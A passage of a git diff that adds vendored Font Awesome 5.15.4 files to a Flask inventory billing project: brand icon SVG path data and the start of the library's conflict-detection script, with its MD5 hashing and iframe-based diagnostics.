30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z" ], + yelp: [ 384, 512, [], "f1e9", "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z" ], + yoast: [ 448, 512, [], "f2b1", "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z" ], + youtube: [ 576, 512, [], "f167", "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z" ], + "youtube-square": [ 448, 512, [], "f431", "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z" ], + zhihu: [ 640, 512, [], "f63f", "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z" ] + }; + !function(c) { + try { + c(); + } catch (c) { + if (!M) throw c; + } + }(function() { + V("fab", e); + }); +}(); \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.js new file mode 100644 index 00000000..4466245e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/conflict-detection.js @@ -0,0 +1,998 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global['fontawesome-free-conflict-detection'] = {}))); +}(this, (function (exports) { 'use strict'; + + function _typeof(obj) { + if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { + _typeof = function (obj) { + return typeof obj; + }; + } else { + _typeof = function (obj) { + return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; + }; + } + + return _typeof(obj); + } + + function _defineProperty(obj, key, value) { + if (key in obj) { + Object.defineProperty(obj, key, { + value: value, + enumerable: true, + configurable: true, + writable: true + }); + } else { + obj[key] = value; + } + + return obj; + } + + function _objectSpread(target) { + for (var i = 1; i < arguments.length; i++) { + var source = arguments[i] != null ? arguments[i] : {}; + var ownKeys = Object.keys(source); + + if (typeof Object.getOwnPropertySymbols === 'function') { + ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { + return Object.getOwnPropertyDescriptor(source, sym).enumerable; + })); + } + + ownKeys.forEach(function (key) { + _defineProperty(target, key, source[key]); + }); + } + + return target; + } + + var _WINDOW = {}; + var _DOCUMENT = {}; + + try { + if (typeof window !== 'undefined') _WINDOW = window; + if (typeof document !== 'undefined') _DOCUMENT = document; + } catch (e) {} + + var _ref = _WINDOW.navigator || {}, + _ref$userAgent = _ref.userAgent, + userAgent = _ref$userAgent === void 0 ? '' : _ref$userAgent; + + var WINDOW = _WINDOW; + var DOCUMENT = _DOCUMENT; + var IS_BROWSER = !!WINDOW.document; + var IS_DOM = !!DOCUMENT.documentElement && !!DOCUMENT.head && typeof DOCUMENT.addEventListener === 'function' && typeof DOCUMENT.createElement === 'function'; + var IS_IE = ~userAgent.indexOf('MSIE') || ~userAgent.indexOf('Trident/'); + + var functions = []; + + var listener = function listener() { + DOCUMENT.removeEventListener('DOMContentLoaded', listener); + loaded = 1; + functions.map(function (fn) { + return fn(); + }); + }; + + var loaded = false; + + if (IS_DOM) { + loaded = (DOCUMENT.documentElement.doScroll ? /^loaded|^c/ : /^loaded|^i|^c/).test(DOCUMENT.readyState); + if (!loaded) DOCUMENT.addEventListener('DOMContentLoaded', listener); + } + + function domready (fn) { + if (!IS_DOM) return; + loaded ? setTimeout(fn, 0) : functions.push(fn); + } + + function report (_ref) { + var nodesTested = _ref.nodesTested, + nodesFound = _ref.nodesFound; + var timedOutTests = {}; + + for (var key in nodesFound) { + if (!(nodesTested.conflict[key] || nodesTested.noConflict[key])) { + timedOutTests[key] = nodesFound[key]; + } + } + + var conflictsCount = Object.keys(nodesTested.conflict).length; + + if (conflictsCount > 0) { + console.info("%cConflict".concat(conflictsCount > 1 ? 's' : '', " found:"), 'color: darkred; font-size: large'); + var data = {}; + + for (var _key in nodesTested.conflict) { + var item = nodesTested.conflict[_key]; + data[_key] = { + 'tagName': item.tagName, + 'src/href': item.src || item.href || 'n/a', + 'innerText excerpt': item.innerText && item.innerText !== '' ? item.innerText.slice(0, 200) + '...' : '(empty)' + }; + } + + console.table(data); + } + + var noConflictsCount = Object.keys(nodesTested.noConflict).length; + + if (noConflictsCount > 0) { + console.info("%cNo conflict".concat(noConflictsCount > 1 ? 's' : '', " found with ").concat(noConflictsCount == 1 ? 'this' : 'these', ":"), 'color: green; font-size: large'); + var _data = {}; + + for (var _key2 in nodesTested.noConflict) { + var _item = nodesTested.noConflict[_key2]; + _data[_key2] = { + 'tagName': _item.tagName, + 'src/href': _item.src || _item.href || 'n/a', + 'innerText excerpt': _item.innerText && _item.innerText !== '' ? _item.innerText.slice(0, 200) + '...' : '(empty)' + }; + } + + console.table(_data); + } + + var timeOutCount = Object.keys(timedOutTests).length; + + if (timeOutCount > 0) { + console.info("%cLeftovers--we timed out before collecting test results for ".concat(timeOutCount == 1 ? 'this' : 'these', ":"), 'color: blue; font-size: large'); + var _data2 = {}; + + for (var _key3 in timedOutTests) { + var _item2 = timedOutTests[_key3]; + _data2[_key3] = { + 'tagName': _item2.tagName, + 'src/href': _item2.src || _item2.href || 'n/a', + 'innerText excerpt': _item2.innerText && _item2.innerText !== '' ? _item2.innerText.slice(0, 200) + '...' : '(empty)' + }; + } + + console.table(_data2); + } + } + + var commonjsGlobal = typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {}; + + function createCommonjsModule(fn, module) { + return module = { exports: {} }, fn(module, module.exports), module.exports; + } + + var md5 = createCommonjsModule(function (module) { + + (function ($) { + /** + * Add integers, wrapping at 2^32. + * This uses 16-bit operations internally to work around bugs in interpreters. + * + * @param {number} x First integer + * @param {number} y Second integer + * @returns {number} Sum + */ + + function safeAdd(x, y) { + var lsw = (x & 0xffff) + (y & 0xffff); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return msw << 16 | lsw & 0xffff; + } + /** + * Bitwise rotate a 32-bit number to the left. + * + * @param {number} num 32-bit number + * @param {number} cnt Rotation count + * @returns {number} Rotated number + */ + + + function bitRotateLeft(num, cnt) { + return num << cnt | num >>> 32 - cnt; + } + /** + * Basic operation the algorithm uses. + * + * @param {number} q q + * @param {number} a a + * @param {number} b b + * @param {number} x x + * @param {number} s s + * @param {number} t t + * @returns {number} Result + */ + + + function md5cmn(q, a, b, x, s, t) { + return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b); + } + /** + * Basic operation the algorithm uses. + * + * @param {number} a a + * @param {number} b b + * @param {number} c c + * @param {number} d d + * @param {number} x x + * @param {number} s s + * @param {number} t t + * @returns {number} Result + */ + + + function md5ff(a, b, c, d, x, s, t) { + return md5cmn(b & c | ~b & d, a, b, x, s, t); + } + /** + * Basic operation the algorithm uses. + * + * @param {number} a a + * @param {number} b b + * @param {number} c c + * @param {number} d d + * @param {number} x x + * @param {number} s s + * @param {number} t t + * @returns {number} Result + */ + + + function md5gg(a, b, c, d, x, s, t) { + return md5cmn(b & d | c & ~d, a, b, x, s, t); + } + /** + * Basic operation the algorithm uses. + * + * @param {number} a a + * @param {number} b b + * @param {number} c c + * @param {number} d d + * @param {number} x x + * @param {number} s s + * @param {number} t t + * @returns {number} Result + */ + + + function md5hh(a, b, c, d, x, s, t) { + return md5cmn(b ^ c ^ d, a, b, x, s, t); + } + /** + * Basic operation the algorithm uses. + * + * @param {number} a a + * @param {number} b b + * @param {number} c c + * @param {number} d d + * @param {number} x x + * @param {number} s s + * @param {number} t t + * @returns {number} Result + */ + + + function md5ii(a, b, c, d, x, s, t) { + return md5cmn(c ^ (b | ~d), a, b, x, s, t); + } + /** + * Calculate the MD5 of an array of little-endian words, and a bit length. + * + * @param {Array} x Array of little-endian words + * @param {number} len Bit length + * @returns {Array<number>} MD5 Array + */ + + + function binlMD5(x, len) { + /* append padding */ + x[len >> 5] |= 0x80 << len % 32; + x[(len + 64 >>> 9 << 4) + 14] = len; + var i; + var olda; + var oldb; + var oldc; + var oldd; + var a = 1732584193; + var b = -271733879; + var c = -1732584194; + var d = 271733878; + + for (i = 0; i < x.length; i += 16) { + olda = a; + oldb = b; + oldc = c; + oldd = d; + a = md5ff(a, b, c, d, x[i], 7, -680876936); + d = md5ff(d, a, b, c, x[i + 1], 12, -389564586); + c = md5ff(c, d, a, b, x[i + 2], 17, 606105819); + b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330); + a = md5ff(a, b, c, d, x[i + 4], 7, -176418897); + d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426); + c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341); + b = md5ff(b, c, d, a, x[i + 7], 22, -45705983); + a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416); + d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417); + c = md5ff(c, d, a, b, x[i + 10], 17, -42063); + b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162); + a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682); + d = md5ff(d, a, b, c, x[i + 13], 12, -40341101); + c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290); + b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329); + a = md5gg(a, b, c, d, x[i + 1], 5, -165796510); + d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632); + c = md5gg(c, d, a, b, x[i + 11], 14, 643717713); + b = md5gg(b, c, d, a, x[i], 20, -373897302); + a = md5gg(a, b, c, d, x[i + 5], 5, -701558691); + d = md5gg(d, a, b, c, x[i + 10], 9, 38016083); + c = md5gg(c, d, a, b, x[i + 15], 14, -660478335); + b = md5gg(b, c, d, a, x[i + 4], 20, -405537848); + a = md5gg(a, b, c, d, x[i + 9], 5, 568446438); + d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690); + c = md5gg(c, d, a, b, x[i + 3], 14, -187363961); + b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501); + a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467); + d = md5gg(d, a, b, c, x[i + 2], 9, -51403784); + c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473); + b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734); + a = md5hh(a, b, c, d, x[i + 5], 4, -378558); + d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463); + c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562); + b = md5hh(b, c, d, a, x[i + 14], 23, -35309556); + a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060); + d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353); + c = md5hh(c, d, a, b, x[i + 7], 16, -155497632); + b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640); + a = md5hh(a, b, c, d, x[i + 13], 4, 681279174); + d = md5hh(d, a, b, c, x[i], 11, -358537222); + c = md5hh(c, d, a, b, x[i + 3], 16, -722521979); + b = md5hh(b, c, d, a, x[i + 6], 23, 76029189); + a = md5hh(a, b, c, d, x[i + 9], 4, -640364487); + d = md5hh(d, a, b, c, x[i + 12], 11, -421815835); + c = md5hh(c, d, a, b, x[i + 15], 16, 530742520); + b = md5hh(b, c, d, a, x[i + 2], 23, -995338651); + a = md5ii(a, b, c, d, x[i], 6, -198630844); + d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415); + c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905); + b = md5ii(b, c, d, a, x[i + 5], 21, -57434055); + a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571); + d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606); + c = md5ii(c, d, a, b, x[i + 10], 15, -1051523); + b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799); + a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359); + d = md5ii(d, a, b, c, x[i + 15], 10, -30611744); + c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380); + b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649); + a = md5ii(a, b, c, d, x[i + 4], 6, -145523070); + d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379); + c = md5ii(c, d, a, b, x[i + 2], 15, 718787259); + b = md5ii(b, c, d, a, x[i + 9], 21, -343485551); + a = safeAdd(a, olda); + b = safeAdd(b, oldb); + c = safeAdd(c, oldc); + d = safeAdd(d, oldd); + } + + return [a, b, c, d]; + } + /** + * Convert an array of little-endian words to a string + * + * @param {Array<number>} input MD5 Array + * @returns {string} MD5 string + */ + + + function binl2rstr(input) { + var i; + var output = ''; + var length32 = input.length * 32; + + for (i = 0; i < length32; i += 8) { + output += String.fromCharCode(input[i >> 5] >>> i % 32 & 0xff); + } + + return output; + } + /** + * Convert a raw string to an array of little-endian words + * Characters >255 have their high-byte silently ignored. + * + * @param {string} input Raw input string + * @returns {Array<number>} Array of little-endian words + */ + + + function rstr2binl(input) { + var i; + var output = []; + output[(input.length >> 2) - 1] = undefined; + + for (i = 0; i < output.length; i += 1) { + output[i] = 0; + } + + var length8 = input.length * 8; + + for (i = 0; i < length8; i += 8) { + output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << i % 32; + } + + return output; + } + /** + * Calculate the MD5 of a raw string + * + * @param {string} s Input string + * @returns {string} Raw MD5 string + */ + + + function rstrMD5(s) { + return binl2rstr(binlMD5(rstr2binl(s), s.length * 8)); + } + /** + * Calculates the HMAC-MD5 of a key and some data (raw strings) + * + * @param {string} key HMAC key + * @param {string} data Raw input string + * @returns {string} Raw MD5 string + */ + + + function rstrHMACMD5(key, data) { + var i; + var bkey = rstr2binl(key); + var ipad = []; + var opad = []; + var hash; + ipad[15] = opad[15] = undefined; + + if (bkey.length > 16) { + bkey = binlMD5(bkey, key.length * 8); + } + + for (i = 0; i < 16; i += 1) { + ipad[i] = bkey[i] ^ 0x36363636; + opad[i] = bkey[i] ^ 0x5c5c5c5c; + } + + hash = binlMD5(ipad.concat(rstr2binl(data)), 512 + data.length * 8); + return binl2rstr(binlMD5(opad.concat(hash), 512 + 128)); + } + /** + * Convert a raw string to a hex string + * + * @param {string} input Raw input string + * @returns {string} Hex encoded string + */ + + + function rstr2hex(input) { + var hexTab = '0123456789abcdef'; + var output = ''; + var x; + var i; + + for (i = 0; i < input.length; i += 1) { + x = input.charCodeAt(i); + output += hexTab.charAt(x >>> 4 & 0x0f) + hexTab.charAt(x & 0x0f); + } + + return output; + } + /** + * Encode a string as UTF-8 + * + * @param {string} input Input string + * @returns {string} UTF8 string + */ + + + function str2rstrUTF8(input) { + return unescape(encodeURIComponent(input)); + } + /** + * Encodes input string as raw MD5 string + * + * @param {string} s Input string + * @returns {string} Raw MD5 string + */ + + + function rawMD5(s) { + return rstrMD5(str2rstrUTF8(s)); + } + /** + * Encodes input string as Hex encoded string + * + * @param {string} s Input string + * @returns {string} Hex encoded string + */ + + + function hexMD5(s) { + return rstr2hex(rawMD5(s)); + } + /** + * Calculates the raw HMAC-MD5 for the given key and data + * + * @param {string} k HMAC key + * @param {string} d Input string + * @returns {string} Raw MD5 string + */ + + + function rawHMACMD5(k, d) { + return rstrHMACMD5(str2rstrUTF8(k), str2rstrUTF8(d)); + } + /** + * Calculates the Hex encoded HMAC-MD5 for the given key and data + * + * @param {string} k HMAC key + * @param {string} d Input string + * @returns {string} Raw MD5 string + */ + + + function hexHMACMD5(k, d) { + return rstr2hex(rawHMACMD5(k, d)); + } + /** + * Calculates MD5 value for a given string. + * If a key is provided, calculates the HMAC-MD5 value. + * Returns a Hex encoded string unless the raw argument is given. + * + * @param {string} string Input string + * @param {string} [key] HMAC key + * @param {boolean} raw Raw oytput switch + * @returns {string} MD5 output + */ + + + function md5(string, key, raw) { + if (!key) { + if (!raw) { + return hexMD5(string); + } + + return rawMD5(string); + } + + if (!raw) { + return hexHMACMD5(key, string); + } + + return rawHMACMD5(key, string); + } + + if (module.exports) { + module.exports = md5; + } else { + $.md5 = md5; + } + })(commonjsGlobal); + }); + + function md5ForNode(node) { + if (null === node || 'object' !== _typeof(node)) return undefined; + + if (node.src) { + return md5(node.src); + } else if (node.href) { + return md5(node.href); + } else if (node.innerText && '' !== node.innerText) { + // eslint-disable-line yoda + return md5(node.innerText); + } else { + return undefined; + } + } + + var diagScriptId = 'fa-kits-diag'; + var nodeUnderTestId = 'fa-kits-node-under-test'; + var md5Attr = 'data-md5'; + var detectionIgnoreAttr = 'data-fa-detection-ignore'; + var timeoutAttr = 'data-fa-detection-timeout'; + var resultsCollectionMaxWaitAttr = 'data-fa-detection-results-collection-max-wait'; + + var silenceErrors = function silenceErrors(e) { + e.preventDefault(); + e.stopPropagation(); + }; + + function pollUntil(_ref) { + var _ref$fn = _ref.fn, + fn = _ref$fn === void 0 ? function () { + return true; + } : _ref$fn, + _ref$initialDuration = _ref.initialDuration, + initialDuration = _ref$initialDuration === void 0 ? 1 : _ref$initialDuration, + _ref$maxDuration = _ref.maxDuration, + maxDuration = _ref$maxDuration === void 0 ? WINDOW.FontAwesomeDetection.timeout : _ref$maxDuration, + _ref$showProgress = _ref.showProgress, + showProgress = _ref$showProgress === void 0 ? false : _ref$showProgress, + progressIndicator = _ref.progressIndicator; + return new Promise(function (resolve, reject) { + // eslint-disable-line compat/compat + function poll(duration, cumulativeDuration) { + setTimeout(function () { + var result = fn(); + + if (showProgress) { + console.info(progressIndicator); + } + + if (!!result) { + // eslint-disable-line no-extra-boolean-cast + resolve(result); + } else { + var nextDuration = 250; + var nextCumulativeDuration = nextDuration + cumulativeDuration; + + if (nextCumulativeDuration <= maxDuration) { + poll(nextDuration, nextCumulativeDuration); + } else { + reject('timeout'); // eslint-disable-line prefer-promise-reject-errors + } + } + }, duration); + } + + poll(initialDuration, 0); + }); + } + + function detectWebfontConflicts() { + var linkTags = Array.from(DOCUMENT.getElementsByTagName('link')).filter(function (t) { + return !t.hasAttribute(detectionIgnoreAttr); + }); + var styleTags = Array.from(DOCUMENT.getElementsByTagName('style')).filter(function (t) { + if (t.hasAttribute(detectionIgnoreAttr)) { + return false; + } // If the browser has loaded the FA5 CSS, let's not test that <style> element. + // Its enough that we'll be testing for traces of the corresponding JS being loaded, and testing + // this <style> would only produce a false negative anyway. + + + if (WINDOW.FontAwesomeConfig && t.innerText.match(new RegExp("svg:not\\(:root\\)\\.".concat(WINDOW.FontAwesomeConfig.replacementClass)))) { + return false; + } + + return true; + }); + + function runDiag(scriptOrLinkTag, md5) { + var diagFrame = DOCUMENT.createElement('iframe'); // Using "visibility: hidden; position: absolute" instead of "display: none;" because + // Firefox will not return the expected results for getComputedStyle if our iframe has display: none. + + diagFrame.setAttribute('style', 'visibility: hidden; position: absolute; height: 0; width: 0;'); + var testIconId = 'fa-test-icon-' + md5; + var iTag = DOCUMENT.createElement('i'); + iTag.setAttribute('class', 'fa fa-coffee'); + iTag.setAttribute('id', testIconId); + var diagScript = DOCUMENT.createElement('script'); + diagScript.setAttribute('id', diagScriptId); // WARNING: this function will be toString()'d and assigned to innerText of the diag script + // element that we'll be putting into a diagnostic iframe. + // That means that this code won't compile until after the outer script has run and injected + // this code into the iframe. There are some compile time errors that might occur there. + // For example, using single line (double-slash) comments like this one inside that function + // will probably cause it to choke. Chrome will show an error like this: + // Uncaught SyntaxError: Unexpected end of input + + var diagScriptFun = function diagScriptFun(nodeUnderTestId, testIconId, md5, parentOrigin) { + parent.FontAwesomeDetection.__pollUntil({ + fn: function fn() { + var iEl = document.getElementById(testIconId); + var computedStyle = window.getComputedStyle(iEl); + var fontFamily = computedStyle.getPropertyValue('font-family'); + + if (!!fontFamily.match(/FontAwesome/) || !!fontFamily.match(/Font Awesome 5/)) { + return true; + } else { + return false; + } + } + }).then(function () { + var node = document.getElementById(nodeUnderTestId); + parent.postMessage({ + type: 'fontawesome-conflict', + technology: 'webfont', + href: node.href, + innerText: node.innerText, + tagName: node.tagName, + md5: md5 + }, parentOrigin); + }).catch(function (e) { + var node = document.getElementById(nodeUnderTestId); + + if (e === 'timeout') { + parent.postMessage({ + type: 'no-conflict', + technology: 'webfont', + href: node.src, + innerText: node.innerText, + tagName: node.tagName, + md5: md5 + }, parentOrigin); + } else { + console.error(e); + } + }); + }; + + var parentOrigin = WINDOW.location.origin === 'file://' ? '*' : WINDOW.location.origin; + diagScript.innerText = "(".concat(diagScriptFun.toString(), ")('").concat(nodeUnderTestId, "', '").concat(testIconId || 'foo', "', '").concat(md5, "', '").concat(parentOrigin, "');"); + + diagFrame.onload = function () { + diagFrame.contentWindow.addEventListener('error', silenceErrors, true); + diagFrame.contentDocument.head.appendChild(diagScript); + diagFrame.contentDocument.head.appendChild(scriptOrLinkTag); + diagFrame.contentDocument.body.appendChild(iTag); + }; + + domready(function () { + return DOCUMENT.body.appendChild(diagFrame); + }); + } + + var cssByMD5 = {}; + + for (var i = 0; i < linkTags.length; i++) { + var linkUnderTest = DOCUMENT.createElement('link'); + linkUnderTest.setAttribute('id', nodeUnderTestId); + linkUnderTest.setAttribute('href', linkTags[i].href); + linkUnderTest.setAttribute('rel', linkTags[i].rel); + var md5ForLink = md5ForNode(linkTags[i]); + linkUnderTest.setAttribute(md5Attr, md5ForLink); + cssByMD5[md5ForLink] = linkTags[i]; + runDiag(linkUnderTest, md5ForLink); + } + + for (var _i = 0; _i < styleTags.length; _i++) { + var styleUnderTest = DOCUMENT.createElement('style'); + styleUnderTest.setAttribute('id', nodeUnderTestId); + var md5ForStyle = md5ForNode(styleTags[_i]); + styleUnderTest.setAttribute(md5Attr, md5ForStyle); + styleUnderTest.innerText = styleTags[_i].innerText; + cssByMD5[md5ForStyle] = styleTags[_i]; + runDiag(styleUnderTest, md5ForStyle); + } + + return cssByMD5; + } + + function detectSvgConflicts(currentScript) { + var scripts = Array.from(DOCUMENT.scripts).filter(function (t) { + return !t.hasAttribute(detectionIgnoreAttr) && t !== currentScript; + }); + var scriptsByMD5 = {}; + + var _loop = function _loop(scriptIdx) { + var diagFrame = DOCUMENT.createElement('iframe'); + diagFrame.setAttribute('style', 'display:none;'); + var scriptUnderTest = DOCUMENT.createElement('script'); + scriptUnderTest.setAttribute('id', nodeUnderTestId); + var md5ForScript = md5ForNode(scripts[scriptIdx]); + scriptUnderTest.setAttribute(md5Attr, md5ForScript); + scriptsByMD5[md5ForScript] = scripts[scriptIdx]; + + if (scripts[scriptIdx].src !== '') { + scriptUnderTest.src = scripts[scriptIdx].src; + } + + if (scripts[scriptIdx].innerText !== '') { + scriptUnderTest.innerText = scripts[scriptIdx].innerText; + } + + scriptUnderTest.async = true; + var diagScript = DOCUMENT.createElement('script'); + diagScript.setAttribute('id', diagScriptId); + var parentOrigin = WINDOW.location.origin === 'file://' ? '*' : WINDOW.location.origin; + + var diagScriptFun = function diagScriptFun(nodeUnderTestId, md5, parentOrigin) { + parent.FontAwesomeDetection.__pollUntil({ + fn: function fn() { + return !!window.FontAwesomeConfig || !!window.FontAwesomeKitConfig; + } + }).then(function () { + var scriptNode = document.getElementById(nodeUnderTestId); + parent.postMessage({ + type: 'fontawesome-conflict', + technology: 'js', + src: scriptNode.src, + innerText: scriptNode.innerText, + tagName: scriptNode.tagName, + md5: md5 + }, parentOrigin); + }).catch(function (e) { + var scriptNode = document.getElementById(nodeUnderTestId); + + if (e === 'timeout') { + parent.postMessage({ + type: 'no-conflict', + src: scriptNode.src, + innerText: scriptNode.innerText, + tagName: scriptNode.tagName, + md5: md5 + }, parentOrigin); + } else { + console.error(e); + } + }); + }; + + 